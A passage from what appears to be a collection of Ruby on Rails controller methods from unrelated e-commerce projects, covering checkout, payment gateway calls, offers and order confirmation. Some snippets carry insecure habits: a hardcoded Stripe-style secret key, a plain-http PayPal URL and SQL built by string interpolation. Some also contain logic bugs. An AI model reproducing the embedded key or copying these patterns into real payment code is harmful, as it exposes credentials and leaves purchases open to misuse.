@purchase.state = 1\n @purchase.current_total_price = 0\n @purchase.user_id = current_user.id\n @purchase.group = params[\"selected_group_name\"]\n @purchase.group_id = params[\"group_select\"]\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to purchase_confirm_post_path(@purchase)}\n format.json { render action: 'facebook_post_confirmed', status: :created, location: @purchase }\n else\n format.html { render action: 'new' }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "def checkout\n\n\n @booking = current_booking\n @basket_items = current_order.basket_items\n @order = current_order\n \n \n\n # Wrapper to convert all purchaseable items into paypal format\n items = []\n\n # Add all booking activities\n @booking.booking_activities.each do |ba|\n booking_activity = BookingActivity.find(ba)\n activity = Activity.find(booking_activity.activity_id)\n num_guests = @booking.number_guests\n bactivity = {\n :name=>activity.name,\n :quantity=> num_guests,\n #description:\"Booking: #{@booking.id}\",\n :amount=>(activity.price*num_guests).to_f\n }\n items << bactivity\n end\n\n\n # Add accommodation\n if(!@booking.accommodation_id.nil?)\n accommodation = Accommodation.find(@booking.accommodation_id)\n accommodation_details ={\n :name=>\" #{accommodation.name} (#{@booking.end_date-@booking.start_date} nights)\",\n :quantity=>1,\n #description:\"Booking: #{@booking.id}\",\n :amount=>(accommodation.price*(@booking.end_date-@booking.start_date)).to_f\n }\n items << accommodation_details\n end\n\n # add basket items\n @basket_items.each do |bi|\n product = Product.find(bi.product_id)\n bitem = {\n :name=>product.name,\n :quantity=>bi.quantity,\n :amount=>bi.total_price\n }\n items << bitem\n end\n\n values = {\n :business=> \"yvette.kelly.2010-facilitator@gmail.com\",\n :cmd=>\"_xclick\",\n :upload=> 1,\n :return=> \"#{Rails.application.secrets.app_host}/thankyou\",\n :invoice=> @booking.id,\n :currency_code=>'USD',\n :amount=> \"#{@booking.price+@order.subtotal}\",\n :item_name=> \"booking\",\n :item_number=> @booking.id,\n :quantity=> '1'\n }\n\n redirect_to \"#{Rails.application.secrets.paypal_host}/cgi-bin/webscr?\" + values.to_query\n\n end", "def show\n assert_product_is_accessible!\n add_to_cart = true\n @login_required = false\n\n # does the product have active price policies?\n unless @product.available_for_purchase?\n add_to_cart = false\n @error = \"not_available\"\n end\n\n # is user logged in?\n if add_to_cart && acting_user.blank?\n @login_required = true\n add_to_cart = false\n end\n\n # when ordering on behalf of, does the staff have permissions for this facility?\n if add_to_cart && acting_as? && !session_user.operator_of?(@product.facility)\n add_to_cart = false\n @error = \"not_authorized_acting_as\"\n end\n\n # does the user have a valid payment source for purchasing this reservation?\n if add_to_cart && acting_user.accounts_for_product(@product).blank?\n add_to_cart = false\n @error = \"no_accounts\"\n end\n\n # does the product have any price policies for any of the groups the user is a member of?\n if add_to_cart && !price_policy_available_for_product?\n add_to_cart = false\n @error = \"not_in_price_group\"\n end\n\n # is the user approved?\n if add_to_cart && !@product.can_be_used_by?(acting_user) && !session_user_can_override_restrictions?(@product)\n if SettingsHelper.feature_on?(:training_requests)\n if TrainingRequest.submitted?(session_user, @product)\n flash[:notice] = text(\".already_requested_access\", product: @product)\n return redirect_to facility_path(current_facility)\n else\n return redirect_to new_facility_product_training_request_path(current_facility, @product)\n end\n else\n add_to_cart = false\n @error = \"requires_approval\"\n end\n end\n\n if @error\n flash.now[:notice] = text(@error, singular: @product.class.model_name.to_s.downcase,\n plural: @product.class.model_name.human(count: 2).downcase)\n end\n\n @add_to_cart = add_to_cart\n @active_tab = \"home\"\n render layout: \"application\"\n end", "def purchase_sub_not_stripe_customer\n token = params[:stripeToken]\n @plan = params[:plan] #integer corresponding to my_plan_id\n @events_number = params[:events_number] #not being used right now because create_customer helper finds the events_number form the plan object via @plan argument\n @code = params[:code] \n @new_price = params[:new_price]\n event_type = \"voicegems\"\n\n if create_customer(token, @plan, @code, @new_price, event_type) #using the same helper as when a new user signs up as a customer\n #record stripe's (?) customer_id for this user\n # this helper is in users helper\n \n redirect_to current_user\n else\n @first_plan = Plan.find_by_my_plan_id(plan_set_one) # sets @first_plan the first plan object ACCORDING TO MY LEGEND (with my_plan_id)\n @second_plan = Plan.find_by_my_plan_id(plan_set_two)\n @third_plan = Plan.find_by_my_plan_id(plan_set_three)\n #These above are required to properly render purchase_sub_existing. Not changing below to redirect because the create_customer helper is creating Flash.nows, not Flashs, and this helper also being used in for totally new customers/users\n render 'purchase_sub_existing'\n end \n\n\nend", "def commit\n offer = Offer.find(params[:id])\n if offer\n if offer.product.user_id == @current_user.id\n if offer.offer_status != Offer.OFFER_COMPLETED\n conversation = offer.conversation\n conversation_id = conversation.id\n conversation.destroy\n\n product = offer.product\n product.sold_status = Product.SOLD_SOLD\n product.save\n\n SearchEntry.destroy_index product\n \n offer.offer_status = Offer.OFFER_COMPLETED\n offer.save\n\n notify(\"NOTIF_TRANSACTION_FINISHED\", {\n conversation: conversation_id,\n user: {\n id: @current_user.id,\n username: @current_user.username,\n first_name: @current_user.first_name,\n last_name: @current_user.last_name\n },\n product: {\n id: product.id,\n product_name: product.product_name\n },\n offer: {\n price: offer.price\n }\n }, offer.user_id)\n\n render status: 200, json: {error: false, id: offer.id}\n else\n render status: 471, json: {error: true}\n end\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end", "def bought?\n # paym\n end", "def payment\n\n check = SubscribedPlan.find_by_plan_id_and_user_id(params[:plan_id],current_user.id)\n #users can buy more tickets\n if check\n if !check.num_guests\n check.num_guests = 0\n end\n if !check.amount\n check.amount = 0\n end\n check.num_guests = check.num_guests + params[:qty].to_i \n check.amount = check.amount + params[:amount].to_i\n check.discount_code = params[:discount_code]\n check.extra_info = \"#{check.extra_info} \\n #{params[:extra_info]}\"\n check.discount = check.discount.to_i + params[:discount].to_i\n check.donation = check.donation.to_i + params[:donation].to_i\n check.save!\n @subscribed = check\n @plan = Plan.find(params[:plan_id])\n @attendees = User.sort_photos_first.find(:all, :joins=>:subscribed_plans, :conditions=>[\"subscribed_plans.plan_id =?\",params[:plan_id]])\n \n else\n sign_up_plan\n @subscribed.amount = params[:amount]\n @subscribed.num_guests = params[:qty].to_i - 1\n @subscribed.extra_info = params[:extra_info]\n @subscribed.discount = params[:discount]\n @subscribed.donation = params[:donation]\n @subscribed.discount_code = params[:discount_code]\n @subscribed.save!\n end\n \n \n if params[:tickets]\n parsed_json = ActiveSupport::JSON.decode(params[:tickets])\n ticketHolders = ActiveSupport::JSON.decode(params[:ticketHolders])\n \n \n num = 0\n for ticket in parsed_json[\"tickets\"]\n #check = TicketPurchase.find(:first, :conditions=>\"subscribed_plan_id = #{@subscribed.id} and plan_id=#{@plan.id} and user_id=#{current_user.id} and ticket_id=#{ticket['id']}\")\n #if check\n # check.qty = check.qty + ticket[\"qty\"].to_i\n # check.amount = check.amount + ticket[\"amount\"].to_i\n # check.save!\n #else\n \n (1..ticket[\"qty\"].to_i).each do |i|\n \n @ticket = TicketPurchase.create(:subscribed_plan_id => @subscribed.id, :plan_id => @plan.id, :payer_user_id=>current_user.id, :ticket_id=>ticket[\"id\"], :amount=>ticket[\"amount\"])\n random = SecureRandom.hex(10)\n qr_code = \"#{@ticket.id}-#{random}\"\n @ticket.qr_code = qr_code\n \n @ticket.user_email = ticketHolders[num][\"user_email\"]\n @ticket.user_name = ticketHolders[num][\"user_name\"]\n \n if @ticket.user_email == current_user.email\n @ticket.user_id = current_user.id\n end\n \n if ticketHolders.length == 1 and ticketHolders[0][\"user_email\"] == \"\"\n @ticket.user_id = current_user.id\n end\n \n \n @ticket.save\n \n num = num + 1\n \n end \n end\n end\n\n token = params[:token]\n \n if Rails.env == \"production\"\n \n if @plan.group and @plan.group.stripe_private\n Stripe.api_key = @plan.group.stripe_private\n else\n Stripe.api_key = \"v5iEXYC6gDJ849q648HgP20UJ5HbVOU5\"\n end\n \n customer = Stripe::Customer.create(:card => token, :description => \"#{current_user.id} | #{current_user.first_name} #{current_user.last_name} | #{current_user.email} | plan: #{@plan.id}\" )\n \n charge = Stripe::Charge.create(\n :amount => params[:amount].to_i, # in cents2\n :currency => \"usd\",\n :customer => customer.id\n )\n \n current_user.stripe_id = customer.id\n current_user.active_card = \"#{charge.card.type} ending in #{charge.card.last4} (#{charge.card.exp_month}/#{charge.card.exp_year})\"\n current_user.save!\n \n @subscribed.charge_id = charge.id\n @subscribed.save!\n \n end\n \n if @plan.price and @plan.price > 0\n if current_user.discount_active == true\n current_user.discount_active = false\n current_user.save\n end \n end\n\n #Postoffice.deliver_confirmation(current_user,@plan,@subscribed)\n Postoffice.send_later(:deliver_confirmation, current_user,@plan,@subscribed)\n\n\n render :partial=>\"plans/signups\", :locals=>{:attendees=>@attendees}\n\n end", "def do_purchase\n user.purchases.create!(\n amount_in_cents: purchase_amount,\n employee_id: purchase_params.dig(:employee_id),\n qty: purchase_params.dig(:qty).to_i,\n venue_id: purchase_params.dig(:venue_id),\n tap_id: purchase_params.dig(:tap_id),\n description: purchase_params.dig(:description)\n )\n end", "def finalize_sales_order_single_package\n @sales_order = SalesOrder.find_by_id params[:sales_order_id]\n @project = @sales_order.projects.first \n @package = @project.package\n @deliverable_items = @project.deliverable_items.order(\"created_at DESC\")\n @new_deliverable_item = DeliverableItem.new \n \n @sales_order.confirm_sales_order( current_user, params[:sales_order] ) \n \n \n if @sales_order.is_confirmed == false \n render :file => \"sales_orders/single_package_sales_order_finalization\"\n else\n redirect_to single_package_sales_order_finalized_url(@sales_order)\n end\n end", "def checkout\n \n # there must be a payment\n @payment = session[:payment]\n if !@payment || !@payment.amount\n @message = \"Sorry an internal error has occured\"\n render :action => 'error'\n return\n end\n\n # the donation can change based on parameters supplied\n if @payment.amount < 1\n # collect both possible donations\n donation = params[:donation]\n donation2 = params[:donation2]\n donation2 = donation if donation2\n donation = donation2.to_i\n @payment.update_attributes( :amount => donation )\n end\n if @payment.amount < 1\n @message = \" bad donation amount entered. Please hit back and try again\"\n render :action => 'error'\n return\n end\n\n # capture the company match if there is one\n matching_company = params[:matching_company]\n if matching_company\n @payment.update_attributes( :matching_company => matching_company)\n end\n\n # try get a party if there is one passed - this overrides anything from before.\n @party = nil\n @party = User.find(params[:party].to_i) if params[:party]\n @partyid = 0\n @partyid = @party.id if @party\n @payment.update_attributes( :owner_id => @partyid ) if @partyid > 0\n \n #if @payment.owner_id == 0\n # @message = \"Sorry no person to donate to found\"\n # render :action => 'error'\n # return\n #end\n\n # move payment along to the next stage\n @payment.update_attributes( :description=> Payment::CHECKOUT , :amount => donation )\n\n @notify_url = url_for(\n :controller=>\"payment\",\n :action => 'payment_received',\n :id => @payment.id,\n :only_path => false\n )\n\n @return_url = url_for(\n :controller=>\"payment\",\n :action => 'confirm_standard',\n :only_path => false\n )\n\n @paypal_business_email = SETTINGS[:paypal_business_email]\n @business_key = PAYPAL_MYPRIVKEY\n @business_cert = PAYPAL_MYPUBCERT\n @business_certid = SETTINGS[:paypal_cert]\n @action_url = \"http://www.paypal.com/cgi-bin/webscr\"\n Paypal::Notification.ipn_url = @action_url\n Paypal::Notification.paypal_cert = PAYPAL_CERT\n\n end", "def create\n offer = Offer.where(user_id: @current_user.id, product_id: params[:product_id]).first\n if offer\n render status: 471, json: {error: true}\n else\n product = Product.find(params[:product_id])\n if product\n if product.user.id != @current_user.id\n if product.sold_status != Product.SOLD_SOLD\n offer = Offer.new\n offer.user = @current_user\n offer.price = params[:price]\n offer.offer_status = Offer.OFFER_OFFERED\n offer.product = product\n if offer.save()\n\n notify(\"NOTIF_NEW_OFFER\", {\n user: {\n id: @current_user.id,\n username: @current_user.username,\n first_name: @current_user.first_name,\n last_name: @current_user.last_name,\n },\n offer: {\n id: offer.id,\n price: offer.price,\n created_at: offer.created_at.strftime('%-l:%M%P')\n },\n product: {\n id: product.id,\n product_name: product.product_name\n }\n }, product.user_id)\n\n OfferMailer.new_offer_email(product.user, offer, product, @current_user).deliver_later!(wait: 15.seconds)\n\n payload = {\n error: false,\n id: offer.id\n }\n render status: 200, json: payload\n else\n errors = []\n offer.errors.keys.each do |key|\n errors << {field: key, message: offer.errors.full_messages_for(key).first}\n end\n payload = {\n error: true,\n errors: errors\n }\n render status: 200, json: payload\n end\n else\n render status: 473, json: {error: true}\n end\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end\n end", "def create\n @bid = Bid.new(bid_params)\n @bid.user_id = current_user.id\n if @bid.item.buyitnow \n @bid.amount = @bid.item.start_bid\n @bid.item.qty -= @bid.qty\n end\n if outbid_user = outbid\n UserMailer.outbid(@bid).deliver\n # mail message\n end\n respond_to do |format|\n if @bid.save\n @bid.item.update_attributes(:qty => @bid.item.qty)\n format.html { redirect_to @bid.item, notice: 'Bid was successfully created.' }\n format.json { render :show, status: :created, location: @bid }\n else\n format.html { render :new }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n\nend", "def create\n flag = true\n item = Item.find(params[:trades][:item_id])\n offer = Item.find(params[:trades][:offer_id])\n passive_trade = PassiveTrade.find(params[:trades][:passive_trade_id])\n if !item.live? or !offer.live? \n flag = false\n end\n t = Trade.where(:item_id => item.id, :offer_id => offer.id).where(\"status != 'REJECTED' and status != 'DELETED'\") unless (flag == false)\n if t.present?\n flag = false\n end\n if flag \n t = Trade.where(:item_id => offer.id, :offer_id => item.id)\n if t.present?\n flag = false\n end\n if flag and current_user and current_user.id == offer.user_id\n trade = Trade.new(params[:trades])\n trade.status = 'ACTIVE'\n trade.save\n\n passive_trade.trade_comments.each do |tc|\n tc.trade_id = trade.id\n tc.save\n end\n passive_trade.trade_terms.each do |tt|\n tt.trade_id = trade.id\n tt.save\n end\n passive_trade.transactions.each do |t|\n t.trade_id = trade.id\n t.save\n end\n\n redirect_location = trade_path(trade)\n \n # if (InfoAndSetting.sm_on_o_made and item.user.notify_received_offer)\n # # Send mail if offer accepted\n # TradeMailer.offer_made_offerer(offer.id,offer.user.id,item.id,item.user.id).deliver\n # TradeMailer.offer_made_owner(offer.id,offer.user.id,item.id,item.user.id).deliver\n # end\n end\n # When user moves back rejected offer to offers\n # if flag and params[:undo_reject] == \"true\"\n # t = Trade.where(:item_id => item.id, :offer_id => offer.id).where(\"status = 'REJECTED'\").first\n # if t.present?\n # t.status = \"DELETED\"\n # t.save\n # end\n # trade = Trade.new(params[:trade])\n # trade.status = 'ACTIVE'\n # trade.save\n # redirect_location = trade_offers_item_path(item) +\"?back_to_offer=true\"\n # else\n # redirect_location = my_offers_item_path(item)\n # session[:offered_item] = offer.title\n # end\n elsif t.present?\n redirect_location = trade_path(t.first)\n else\n redirect_location = passive_trade_path(passive_trade)\n # session[:offered_item] = offer.title\n end\n \n redirect_to redirect_location\n \n # respond_to do |format|\n # if @trade.save\n # format.html { redirect_to @trade, notice: 'Trade was successfully created.' }\n # format.json { render json: @trade, status: :created, location: @trade }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @trade.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def user_payment_callback\n @user = User.find_by(bill_id: params[:id])\n @user.skip_icpassport_validation = true\n @last_ezi = User.all.where.not(:ezi_id => nil).order(:ezi_id).last.ezi_id.gsub(/[^0-9]/, '').to_i\n @ezi_id = @last_ezi + 1\n @ezi_id_string = \"Q\" + @ezi_id.to_s.rjust(4,'0')\n @expiry = @user.package * 365\n response = BillplzReg.check_status(@user.id)\n if (response['paid'] == true) && (response['state']=='paid')\n @user.update_attributes(status: 1, :ezi_id => @ezi_id_string, :expiry => @expiry.days.from_now)\n render body: nil\n end\n end", "def handle_purchase\n if saved_change_to_state == %w(draft purchased)\n seller.increase_balance(payment.amount)\n end\n end", "def pyment_logic\n\t\t# @notification = ActiveMerchant::Billing::Integrations::Ccavenue::Notification.new(request.raw_post)\n\t\t# if @notification.payment_id.present?\n\t\t# \t@order = Course.find_by_order_id(@notification.payment_id)\n\t\t# \tif @notification.complete? and @notification.valid?\n\t\t# \t\t@order.confirm!\n\t\t# \telse\n\t\t# \t @order.reject!\n\t\t# \tend\n\t\t# end\n\tend", "def submit_payment val\n if val\n @invoice.transaction_id, @invoice.status = val, 'paid' \n @invoice.save!\n else\n false\n end\n end", "def amazon_postfill\n unless params[:callerReference].blank?\n @order = Order.postfill!(params)\n end\n # \"A\" means the user cancelled the preorder before clicking \"Confirm\" on Amazon Payments.\n if params['status'] != 'A' && @order.present?\n redirect_to :action => :share, :uuid => @order.uuid\n else\n redirect_to root_url\n end\n end", "def confirm_sale\n @booking = Booking.find(params[:id])\n @booking.status = \"Ticket receivd\"\n @booking.save\n redirect_to bookings_path\n end", "def buy\n shipment = Shipment.find(params[:shipment_id])\n shipment.update_column(:affiliate_shipping_account, params[:affiliate_shipping_account] == \"true\")\n EasyPost.api_key = shipment.easy_post_api_key\n\n begin\n ep_shipment = EasyPost::Shipment.retrieve(params[:ep_shipment_id])\n easypost_purchase(shipment, params[:rate_id], ep_shipment)\n ShipmentItem.where(shipment_id: shipment.id, special_status: \"\").update_all(special_status: :shipped)\n rescue => e\n flash[:error] = e.message + params[:ep_shipment_id]\n return redirect_back(fallback_location: admin_root_path)\n end\n\n redirect_to admin_store_shipment_path(shipment)\n end", "def create\n @event = Event.find(params[:event_id])\n @user = current_user\n\n if params[:waiting_list]\n # add user to waiting_list\n @reservation = Reservation.new(reservation_params)\n @reservation.status = \"Waiting_List\"\n @reservation.save\n flash[:notice] = \"You will be notified by email if a seat becomes available!\"\n redirect_to event_path @event\n else\n begin\n if params[\"stored_card\"]\n result = Braintree::Transaction.sale(\n amount: params[\"amount\"],\n customer_id: @user.braintree_customer_id\n )\n else\n result = Braintree::Transaction.sale(\n amount: params[\"amount\"],\n credit_card: {\n number: params[\"number\"],\n cvv: params[\"cvv\"],\n expiration_month: params[\"month\"],\n expiration_year: params[\"year\"]\n },\n options: {\n submit_for_settlement: true\n }\n )\n end\n rescue SocketError => e\n logger.info(e)\n end\n\n if result.success?\n @reservation = Reservation.new(reservation_params)\n @reservation.transaction_number = result.transaction.id\n @reservation.update_attribute(:status, \"Completed\")\n @event.update_number_of_available_seats\n @event.save\n flash[:notice] = \"Reservation was successfully created. Transaction ID: #{result.transaction.id}\"\n redirect_to event_path @event\n else\n flash[:notice] = \"Error while processing payment: #{result.message}\"\n redirect_to event_path @event\n end\n end\n end", "def create\n product = Product.find_by(id: params[:order_item][:product_id])\n if params[:order_item][:qty].to_i > product.inv_qty\n flash[:warning] = \"Quantity selected exceeds amount availabe in inventory\"\n redirect_to product_path(product.id)\n elsif @current_order.nil?\n @current_order = Order.new\n @current_order.save\n end\n\n @order_item = @current_order.order_items.new(order_item_params)\n @order_item.save\n @current_order.save\n @current_order.update(status: \"Pending\")\n session[:order_id] = @current_order.id\n redirect_to cart_path(@current_order.id)\n # else\n # flash[:warning] = \"Item order not placed\"\n # redirect_to root_path\n # # end\n end", "def purchase\n if user_signed_in?\n \n card = current_user.card\n #テーブルからpayjpの顧客IDを検索\n @user = User.find(@item.seller_id)\n unless @item.seller_id == @item.buyer_id\n redirect_to root_path\n else\n end\n \n if card.blank?\n #登録された情報がない場合にカード登録画面に移動\n redirect_to controller: \"card\", action: \"new\"\n else\n Payjp.api_key = ENV[\"PAYJP_PRIVATE_KEY\"]\n #保管した顧客IDでpayjpから情報取得\n customer = Payjp::Customer.retrieve(card[\"customer_id\"])\n #保管したカードIDでpayjpから情報取得、カード情報表示のためインスタンス変数に代入\n @default_card_information = customer.cards.retrieve(card.card_id)\n @card_brand = @default_card_information.brand\n @card_src = \"Visa.png\"\n end\n\n else\n redirect_to new_user_session_path\n end\n\n end", "def create\n over_account_creation_limit_per_ip = check_if_over_account_creation_limit_per_ip?\n \n @product = Product.find_by_sku(params[:line_items][\"0\"][:product_sku])\n\n @cost_per_book = @product.get_item_cost_btc\n @shipping_cost_per_book = @product.get_shipping_cost\n \n @payment_to_tender = @product.get_item_cost_btc + @shipping_cost_per_book\n \n if current_user.nil?\n @user = User.create_instant_user(params[:user])\n @user.errors[:email][0] += \". If you have an account, try logging in first.\" if !@user.errors.nil? and !@user.errors[:email].empty? # this is hackish, override teh User's error plz\n \n setup_cost_calculation_variables\n render 'new' and return if !@user.errors.empty?\n #redirect_to '/purchases/new' and return if !@user.errors.empty?\n else\n @user = current_user\n end\n \n # error if user has unpaid purchases\n redirect_to sale_url_without_ajax_query(@user.sales.first_unpaid_lacking_all_evidence), notice: Msgs.has_unpaid_purchases and return if (!@user.id.nil? and @user.has_purchases_lacking_all_payment_evidence?)\n \n \n # CREATE ADDRESS\n @address = Address.create_or_find_address(@user, params)\n render 'new' and return if !@address.errors.empty?\n \n render 'new' and return if line_item_invalid?(params[:line_item])\n \n # CREATE SALE AND LineItem\n @sale = Sale.create_instant_sale(@user, params[:line_item], @product, @address.id)\n \n session['pass'] = @user.password\n \n respond_to do |format|\n if @user.save and @address.save and @sale.save\n sign_in @user\n format.html { redirect_to sale_url_without_ajax_query(@sale), notice: 'Payment Still Required' }\n format.json { render json: @sale, status: :created, location: @sale }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checkout_wallet.errors, status: :unprocessable_entity }\n end\n end\n end", "def confirm!\n return false if purchased?\n confirmed!\n end", "def create\n @order_info = Purchase.new(purchase_params)\n \n unless @order_info.ordertype == 'cart'\n @purchase = @order_info\n set_rest\n respond_to do |format|\n if @purchase.save\n\n \n title = \"#{current_user.name}님이 상품(#{@purchase.product.name})을 구매하였습니다 \"\n message = \"#{current_user.name}님이 상품#{@purchase.product.name}을 구매하였습니다 \" + \"<a href ='/sell_list'>보러가기</a> \"\n Pusher.trigger(\"mychannel-#{@purchase.product.user.id}\", 'my-event', {:type => \"new_purchase\", :title=>title , :message => message, :url => current_user.gravatar_url } )\n @purchase.product.user.notify(\"#{current_user.name}님이 상품(#{@purchase.product.name})을 구매하였습니다\", \"/sell_list\" )\n product = @purchase.product\n product.update_attributes(quantity: product.quantity - 1 , sell_count: product.sell_count + 1)\n # format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.html { redirect_to order_ok_path(type: 'goods', id:@purchase.id)}\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n else\n @cart_items = current_user.cart.cart_items\n order_info = Purchase.new(purchase_params)\n @cart_items.each do |cart_item|\n @product = cart_item.product\n @purchase = @product.purchases.new(user_id: current_user.id, total_cost: cart_item.quantity * cart_item.price)\n @purchase.receive_name = order_info.receive_name\n @purchase.addr = order_info.addr\n @purchase.phone = order_info.phone\n @purchase.memo = order_info.memo\n @purchase.ordertype = 'cart'\n @purchase.quantity = cart_item.quantity\n @purchase.option = cart_item.option\n @purchase.detail = cart_item.detail\n set_rest\n if @purchase.save\n title = \"#{current_user.name}님이 상품(#{@purchase.product.name})을 구매하였습니다 \"\n message = \"#{current_user.name}님이 상품#{@purchase.product.name}을 구매하였습니다 \" + \"<a href ='/sell_list'>보러가기</a> \"\n Pusher.trigger(\"mychannel-#{@purchase.product.user.id}\", 'my-event', {:type => \"new_purchase\", :title=>title , :message => message, :url => current_user.gravatar_url } )\n @purchase.product.user.notify(\"#{current_user.name}님이 상품(#{@purchase.product.name})을 구매하였습니다\", \"/sell_list\" )\n @product.update_attributes(quantity: @product.quantity - 1 , sell_count: @product.sell_count + @purchase.quantity)\n end\n end\n \n redirect_to order_ok_path(type: 'cart')\n end\n\n\n end", "def click(event)\n data = {\n agenda: Agenda.file,\n initials: User.initials,\n attach: @@item.attach,\n request: request\n }\n\n @disabled = true\n Pending.update 'approve', data do |pending|\n @disabled = false\n end\n end", "def create\n @page_title = \"Sell your product\"\n @product = Product.new(params[:product])\n @product.user = current_user\n\n if @product.valid?\n @product.force_save\n return product_success\n else\n flash[:error_stay] = @product.errors.full_messages\n @product.force_save\n redirect_to edit_product_path(@product)\n end\n end", "def confirm_products_order\n unless @current_admin.is_super_admin\n unless @current_admin.privilages.include? '3'\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n end\n @users_sales=Array.new\n @customers_sales=Array.new\n @sales=Sale.where(\"is_delivered='f'\")\n\n @sales.each do |sale|\n if sale.customer\n @customers_sales.push(sale)\n else\n @users_sales.push(sale)\n end\n end\n puts \"user sale count:#{@users_sales.length}\"\n puts \"customer sale count:#{@customers_sales.length}\"\n end", "def confirm_purchase(purchase)\r\n purchase.confirm\r\n end", "def accept \n order = Order.find(params[:orderid])\n order.status = \"Accepted\"\n order.save!\n if order.artwork.sold == false\n order.artwork.toggle!(:sold)\n end\n Order.find_all_by_artwork_id(order.artwork.id).each do |f|\n if f.status != \"Accepted\"\n f.status = \"Declined\"\n f.save!\n end\n end\n redirect_to [:admin, User.find(params[:id])]\n end", "def success\n @listing = Listing.find(params[:listingId])\n @user = User.find(params[:userId])\n\n enum_change = Listing.find(params[:listingId])\n enum_change.update(sold: 'yes')\n enum_change.save\n end", "def purchase_events_new_stripe_couple\n token = params[:stripeToken]\n @number = params[:number].to_i\n coupon = params[:coupon]\n cost = params[:cost]\n\n if create_customer_and_purchase_existing_user(token, @number, cost, coupon) # this is almost like create_customer_purchase, except have flash.nows in that helper\n #if the customer had a coupon, update that coupon to be inactive, and attach customer's user id to it\n # if !coupon.blank?\n # redeem_single_use_coupon(coupon)\n # end \n redirect_to current_user\n else\n redirect_to existing_couple_purchase_select_path({:peu => {:number => @number }, :coupon => coupon})\n end \n\nend", "def create\n @product_buy_click = ProductBuyClick.new(product_buy_click_params)\n @product_buy_click.user = current_user if is_client_app?\n\n if @product_buy_click.save\n render json: @product_buy_click, status: :created, location: @product_buy_click\n else\n render json: @product_buy_click.errors, status: :unprocessable_entity\n end\n end", "def confirm_sales_order\n @sales_order = SalesOrder.find_by_id params[:sales_order_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @sales_order.confirm( current_user ) \n end", "def make_order_payment\n session[:purchasable] = nil\n @current_object.amount_in_cents = @order.total_amount*100\n @invoice = @order.generate_invoice(@current_user, params[:invoicing_info]) \n if params[:invoicing_info][:payment_medium] == \"visa\" or params[:invoicing_info][:payment_medium] == \"master card\" \n @current_object.common_wealth_bank_process(@order.total_amount*100,params)\n elsif params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n elsif params[:invoicing_info][:payment_medium] == \"paypal\"\n @current_object.make_paypal_payment(@order.total_amount.to_i,params) \n end\n if @current_object.state == 'online_validated'\t \n \t \n session[:cart] ={}\n if params[:invoicing_info][:payment_medium] == \"paypal\"\n @invoice.validating(\"paypal\")\n else\n @invoice.validating\n end \n render :text=>\"Your Payment Is Done . The Invoice Is Sent To You By Email. <a href='/admin/profiles/#{current_user.id}'>Go Back </a>\"\n \n else\n if params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n session[:cart] ={}\n @invoice.accept_cash_or_cheque_or_bank_payment(params[:invoicing_info][:payment_medium]) \n render :text=>\"After Your Payment Is Done Admin Will Validate You. The Invoice Is Sent To You By Email. \"\n else\n\n render :text=>\"There Is Error In Payment Please Try Again\"\n end \n end \n note = \"no note created\"\n create_pdf(@invoice.id,@invoice.number,@invoice.sent_at.strftime(\"%d %b %Y\"),@invoice.client.profile.full_address_for_invoice,@invoice.client.profile.full_name_for_invoice,@order.title,@invoice.final_amount.to_i,nil)\n begin\n email= UserMailer.create_send_invoice(@invoice,@current_user)\n UserMailer.deliver(email) \t\n rescue\n end\n end", "def purchase_events_new_card_couple\n token = params[:stripeToken]\n @number = params[:number].to_i\n coupon = params[:coupon]\n cost = params[:cost]\n\n if update_card_and_purchase(token, @number, cost, coupon)\n #if the customer had a coupon, update that coupon to be inactive, and attach customer's user id to it\n # if !coupon.blank?\n # redeem_single_use_coupon(coupon)\n # end \n flash[:success] = \"Thank you! You have purchased #{@number} VoiceGems Pages.\"\n redirect_to current_user\n else\n redirect_to existing_couple_purchase_select_path({:peu => {:number => @number }, :coupon => coupon})\n end \nend", "def create\n @title = \"Bakery Market | Purchase Credits\"\n @google_fonts = \"Josefin+Slab|Dancing+Script|Lato\"\n @stylesheet = \"users\"\n @order = Order.new(params[:order])\n if params[:id] < 4.to_s\n @service_plan = ServicePlan.find(params[:id])\n else\n @service_plan = ServicePlan.find(3)\n end\n @order.service_plan_id = @service_plan.id\n @order.ip_address = request.remote_ip\n @order.user_id = current_user.id\n if @order.save\n if @order.purchase(@service_plan.id)\n @meals_remaining = current_user.meals_remaining + @service_plan.meals_included\n @total_credits_purchased = current_user.total_credits_purchased + @service_plan.meals_included\n current_user.update_attributes(:meals_remaining => @meals_remaining, :total_credits_purchased => @total_credits_purchased)\n flash[:notice] = \"Thanks for your order. You're all set.\"\n redirect_to root_url\n UserMailer.purchase_complete(current_user, @service_plan).deliver\n else\n render :action => \"failure\"\n end\n else\n render :action => \"new\"\n end\n end", "def purchase\n if express_token.include?(\"paykey=AP\")\n\n else\n\n #processes payment for express payment and on site with credit card.\n response = process_purchase\n #creates a transaction to store info from express payment and paywith Credit card\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\n #cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end\n end", "def purchase_events_new_stripe_customer\n token = params[:stripeToken]\n @number = params[:number].to_i\n coupon = params[:coupon]\n cost = params[:cost]\n\n if create_customer_and_purchase_existing_user(token, @number, cost, coupon) # this is almost like create_customer_purchase, except have flash.nows in that helper\n #if the customer had a coupon, update that coupon to be inactive, and attach customer's user id to it\n # if !coupon.blank?\n # redeem_single_use_coupon(coupon)\n # end \n redirect_to current_user\n else\n redirect_to existing_user_purchase_path\n end \n\nend", "def productStatus\n\t\t@product = 